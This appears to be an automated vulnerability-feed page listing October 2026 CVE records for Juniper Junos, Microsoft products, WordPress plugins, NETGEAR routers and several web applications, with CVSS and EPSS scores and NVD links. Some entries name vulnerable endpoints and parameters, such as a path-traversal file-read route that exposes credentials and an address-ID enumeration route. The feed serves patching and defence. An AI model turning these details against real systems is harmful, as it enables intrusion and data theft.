A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote configured BGP peer to cause an rpd crash, or on Junos OS remote code-execution, via sending a flow-spec update which is selected for re-advertisement.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd)  of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP/EVPN peer to cause root...
https://kevwire.com/record/CVE-2026-101982
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd)  of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP/EVPN peer to cause root... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd)  of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP/EVPN peer to cause root code execution on Junos OS or an rpd crash on Junos OS Evolved via protocol-valid route advertisements for an EVPN-VPWS service.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101982).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101982&date=2026-10-25).
Sources:
NVD CVE-2026-101982: https://nvd.nist.gov/vuln/detail/CVE-2026-101982
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101982&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd)  of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP/EVPN peer to cause root code execution on Junos OS or an rpd crash on Junos OS Evolved via protocol-valid route advertisements for an EVPN-VPWS service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent LDP peer to...
https://kevwire.com/record/CVE-2026-101981
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent LDP peer to... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent LDP peer to cause an rpd crash or execute arbitrary code via a malformed LDP Label Mapping message.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101981).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101981&date=2026-10-25).
Sources:
NVD CVE-2026-101981: https://nvd.nist.gov/vuln/detail/CVE-2026-101981
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101981&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent LDP peer to cause an rpd crash or execute arbitrary code via a malformed LDP Label Mapping message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated attacker on the...
https://kevwire.com/record/CVE-2026-101978
An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated attacker on the... (Oct 14, 2026).
An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated attacker on the management LAN to execute commands as root via a crafted gRPC response.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101978).
EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101978&date=2026-10-25).
Sources:
NVD CVE-2026-101978: https://nvd.nist.gov/vuln/detail/CVE-2026-101978
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101978&date=2026-10-25
An OS Command Injection vulnerability in the bootzd zero-touch provisioning daemon of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated attacker on the management LAN to execute commands as root via a crafted gRPC response.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the UTM Anti-Spam SBL of Juniper Networks Junos OS on SRX series allows an unauthenticated remote attacker to cause arbitrary code...
https://kevwire.com/record/CVE-2026-101955
A Stack-based Buffer Overflow vulnerability in the UTM Anti-Spam SBL of Juniper Networks Junos OS on SRX series allows an unauthenticated remote attacker to cause arbitrary code... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the UTM Anti-Spam SBL of Juniper Networks Junos OS on SRX series allows an unauthenticated remote attacker to cause arbitrary code execution or a denial of service via a injected malformed DNS packet when Anti-Spam SBL inspection is enabled.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101955).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101955&date=2026-10-25).
Sources:
NVD CVE-2026-101955: https://nvd.nist.gov/vuln/detail/CVE-2026-101955
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101955&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the UTM Anti-Spam SBL of Juniper Networks Junos OS on SRX series allows an unauthenticated remote attacker to cause arbitrary code execution or a denial of service via a injected malformed DNS packet when Anti-Spam SBL inspection is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Authentication vulnerability in the J-Web management interface and its NETCONF session handling of Juniper Networks Junos OS and Junos OS Evolved allows an...
https://kevwire.com/record/CVE-2026-101954
An Improper Authentication vulnerability in the J-Web management interface and its NETCONF session handling of Juniper Networks Junos OS and Junos OS Evolved allows an... (Oct 14, 2026).
An Improper Authentication vulnerability in the J-Web management interface and its NETCONF session handling of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to obtain root-level device configuration access and take over the device via a reachable J-Web HTTP or HTTPS service when web management is enabled.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101954).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101954&date=2026-10-25).
Sources:
NVD CVE-2026-101954: https://nvd.nist.gov/vuln/detail/CVE-2026-101954
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101954&date=2026-10-25
An Improper Authentication vulnerability in the J-Web management interface and its NETCONF session handling of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated network attacker to obtain root-level device configuration access and take over the device via a reachable J-Web HTTP or HTTPS service when web management is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Heap-based Buffer Overflow vulnerability in eventd of Juniper Networks Junos OS and Junos OS Evolved on all platforms allows an unprivileged local attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-101927
A Heap-based Buffer Overflow vulnerability in eventd of Juniper Networks Junos OS and Junos OS Evolved on all platforms allows an unprivileged local attacker to cause a denial of... (Oct 14, 2026).
A Heap-based Buffer Overflow vulnerability in eventd of Juniper Networks Junos OS and Junos OS Evolved on all platforms allows an unprivileged local attacker to cause a denial of service (DoS) or achieve privilege escalation to root via crafted IPC event messages.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101927).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101927&date=2026-10-25).
Sources:
NVD CVE-2026-101927: https://nvd.nist.gov/vuln/detail/CVE-2026-101927
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101927&date=2026-10-25
A Heap-based Buffer Overflow vulnerability in eventd of Juniper Networks Junos OS and Junos OS Evolved on all platforms allows an unprivileged local attacker to cause a denial of service (DoS) or achieve privilege escalation to root via crafted IPC event messages.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via First Name...
https://kevwire.com/record/CVE-2026-100186
The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via First Name... (Oct 16, 2026).
The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via First Name Field in all versions up to, and including, 4.0.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is only exploitable when the Email Confirmation feature is enabled in Profile Builder.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100186).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100186&date=2026-10-25).
Sources:
NVD CVE-2026-100186: https://nvd.nist.gov/vuln/detail/CVE-2026-100186
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100186&date=2026-10-25
The User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via First Name Field in all versions up to, and including, 4.0.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This vulnerability is only exploitable when the Email Confirmation feature is enabled in Profile Builder.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows BitLocker allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-96909
Heap-based buffer overflow in Windows BitLocker allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows BitLocker allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96909).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96909&date=2026-10-25).
Sources:
NVD CVE-2026-96909: https://nvd.nist.gov/vuln/detail/CVE-2026-96909
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96909
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96909&date=2026-10-25
Heap-based buffer overflow in Windows BitLocker allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Autopilot allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96215
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Autopilot allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Autopilot allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96215).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96215&date=2026-10-25).
Sources:
NVD CVE-2026-96215: https://nvd.nist.gov/vuln/detail/CVE-2026-96215
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96215
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96215&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Autopilot allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MateCloud through 5.0.8 contains a missing authorization vulnerability that allows any authenticated user to manage object storage by calling the unprotected /api/v1/admin/storage...
https://kevwire.com/record/CVE-2026-110108
MateCloud through 5.0.8 contains a missing authorization vulnerability that allows any authenticated user to manage object storage by calling the unprotected /api/v1/admin/storage... (Oct 13, 2026).
MateCloud through 5.0.8 contains a missing authorization vulnerability that allows any authenticated user to manage object storage by calling the unprotected /api/v1/admin/storage endpoints in StorageController. Low-privilege or self-registered users can supply arbitrary bucket and objectName values to list objects, obtain pre-signed download URLs for other users' files, delete objects, and upload at chosen keys.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110108).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110108&date=2026-10-25).
Sources:
NVD CVE-2026-110108: https://nvd.nist.gov/vuln/detail/CVE-2026-110108
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110108&date=2026-10-25
MateCloud through 5.0.8 contains a missing authorization vulnerability that allows any authenticated user to manage object storage by calling the unprotected /api/v1/admin/storage endpoints in StorageController. Low-privilege or self-registered users can supply arbitrary bucket and objectName values to list objects, obtain pre-signed download URLs for other users' files, delete objects, and upload at chosen keys.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Risesoft Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager Y9FileController.retrieveFileStream handler that allows...
https://kevwire.com/record/CVE-2026-110115
Risesoft Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager Y9FileController.retrieveFileStream handler that allows... (Oct 13, 2026).
Risesoft Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager Y9FileController.retrieveFileStream handler that allows unauthenticated attackers to read arbitrary files by supplying parent-directory segments in the fullPath and fileName parameters. Attackers can request the unauthenticated /rest/retrieveFileStream endpoint to retrieve files like application.yml, exposing database, Redis and Nacos credentials.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110115).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110115&date=2026-10-25).
Sources:
NVD CVE-2026-110115: https://nvd.nist.gov/vuln/detail/CVE-2026-110115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110115&date=2026-10-25
Risesoft Digital-Infrastructure 9.6.5 through 9.6.11 contains a path traversal vulnerability in the fileManager Y9FileController.retrieveFileStream handler that allows unauthenticated attackers to read arbitrary files by supplying parent-directory segments in the fullPath and fileName parameters. Attackers can request the unauthenticated /rest/retrieveFileStream endpoint to retrieve files like application.yml, exposing database, Redis and Nacos credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Yshopmall through 2.0.0 contains an insecure direct object reference vulnerability in the member address API that allows authenticated members to read, overwrite and delete other...
https://kevwire.com/record/CVE-2026-110119
Yshopmall through 2.0.0 contains an insecure direct object reference vulnerability in the member address API that allows authenticated members to read, overwrite and delete other... (Oct 13, 2026).
Yshopmall through 2.0.0 contains an insecure direct object reference vulnerability in the member address API that allows authenticated members to read, overwrite and delete other members' shipping addresses. Attackers can enumerate sequential address ids via /address/detail/{id}, /address/del and /address/edit to expose recipient names, phone numbers and addresses, reassign them, or delete them.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110119).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110119&date=2026-10-25).
Sources:
NVD CVE-2026-110119: https://nvd.nist.gov/vuln/detail/CVE-2026-110119
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110119&date=2026-10-25
Yshopmall through 2.0.0 contains an insecure direct object reference vulnerability in the member address API that allows authenticated members to read, overwrite and delete other members' shipping addresses. Attackers can enumerate sequential address ids via /address/detail/{id}, /address/del and /address/edit to expose recipient names, phone numbers and addresses, reassign them, or delete them.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The DoubleScale | All-in-One CRM – Sales, Multi-Channel Marketing, Newsletter, Booking, Helpdesk, Automation, MCP & More plugin for WordPress is vulnerable to Arbitrary File...
https://kevwire.com/record/CVE-2026-111311
The DoubleScale | All-in-One CRM – Sales, Multi-Channel Marketing, Newsletter, Booking, Helpdesk, Automation, MCP & More plugin for WordPress is vulnerable to Arbitrary File... (Oct 16, 2026).
The DoubleScale | All-in-One CRM – Sales, Multi-Channel Marketing, Newsletter, Booking, Helpdesk, Automation, MCP & More plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.5.1 via the store_upload function. This is due to a fail-open extension allow-list in extension_is_allowed() that returns true when wp_check_filetype() yields an empty type for unrecognized extensions such as .php, combined with magic-byte-only MIME detection and no capability check beyond is_user_logged_in(). This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. Exploitation requires the Helpdesk module to be enabled, as the vulnerable REST endpoint is only registered when that module is active.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111311).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111311&date=2026-10-25).
Sources:
NVD CVE-2026-111311: https://nvd.nist.gov/vuln/detail/CVE-2026-111311
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111311&date=2026-10-25
The DoubleScale | All-in-One CRM – Sales, Multi-Channel Marketing, Newsletter, Booking, Helpdesk, Automation, MCP & More plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.5.1 via the store_upload function. This is due to a fail-open extension allow-list in extension_is_allowed() that returns true when wp_check_filetype() yields an empty type for unrecognized extensions such as .php, combined with magic-byte-only MIME detection and no capability check beyond is_user_logged_in(). This makes it possible for authenticated attackers, with subscriber-level access and above, to upload files that may be executable, which makes remote code execution possible. Exploitation requires the Helpdesk module to be enabled, as the vulnerable REST endpoint is only registered when that module is active.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### No cwe for this issue in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-96044
No cwe for this issue in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
No cwe for this issue in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96044).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96044&date=2026-10-25).
Sources:
NVD CVE-2026-96044: https://nvd.nist.gov/vuln/detail/CVE-2026-96044
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96044
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96044&date=2026-10-25
No cwe for this issue in Microsoft Office SharePoint allows an authorized attacker to elevate privileges over a network.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Storage Library allows an authorized attacker to elevate privileges...
https://kevwire.com/record/CVE-2026-88094
Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Storage Library allows an authorized attacker to elevate privileges... (Oct 13, 2026).
Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Storage Library allows an authorized attacker to elevate privileges over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88094).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88094&date=2026-10-25).
Sources:
NVD CVE-2026-88094: https://nvd.nist.gov/vuln/detail/CVE-2026-88094
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88094&date=2026-10-25
Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Storage Library allows an authorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Origin validation error in Microsoft Power Apps allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70213
Origin validation error in Microsoft Power Apps allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Origin validation error in Microsoft Power Apps allows an authorized attacker to execute code over a network.
CVSS 8.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70213).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70213&date=2026-10-25).
Sources:
NVD CVE-2026-70213: https://nvd.nist.gov/vuln/detail/CVE-2026-70213
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70213&date=2026-10-25
Origin validation error in Microsoft Power Apps allows an authorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Linux Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-62840
Time-of-check time-of-use (toctou) race condition in Linux Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Linux Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-62840).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-62840&date=2026-10-25).
Sources:
NVD CVE-2026-62840: https://nvd.nist.gov/vuln/detail/CVE-2026-62840
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-62840&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Linux Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An insufficient input validation vulnerability in the website blocking feature (Block Sites) of the listed NETGEAR router models allows a network-adjacent attacker having network...
https://kevwire.com/record/CVE-2026-11732
An insufficient input validation vulnerability in the website blocking feature (Block Sites) of the listed NETGEAR router models allows a network-adjacent attacker having network... (Oct 13, 2026).
An insufficient input validation vulnerability in the website blocking feature (Block Sites) of the listed NETGEAR router models allows a network-adjacent attacker having network access (such as WiFi credentials) to run unauthorized commands on the router. This vulnerability could affect the confidentiality, integrity, and availability of the affected router. It applies only when the Block Sites feature is turned on.
CVSS 6.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-11732).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-11732&date=2026-10-25).
Sources:
NVD CVE-2026-11732: https://nvd.nist.gov/vuln/detail/CVE-2026-11732
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-11732&date=2026-10-25
An insufficient input validation vulnerability in the website blocking feature (Block Sites) of the listed NETGEAR router models allows a network-adjacent attacker having network access (such as WiFi credentials) to run unauthorized commands on the router. This vulnerability could affect the confidentiality, integrity, and availability of the affected router. It applies only when the Block Sites feature is turned on.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authentication bypass vulnerability in the listed NETGEAR RAX series models allows an unauthenticated attacker with adjacent access to the affected device’s management service...
https://kevwire.com/record/CVE-2026-11731
An authentication bypass vulnerability in the listed NETGEAR RAX series models allows an unauthenticated attacker with adjacent access to the affected device’s management service... (Oct 13, 2026).
An authentication bypass vulnerability in the listed NETGEAR RAX series models allows an unauthenticated attacker with adjacent access to the affected device’s management service to access certain device information or modify administrative settings. This vulnerability may impact the confidentiality and integrity of management data and the availability of device-management functions.
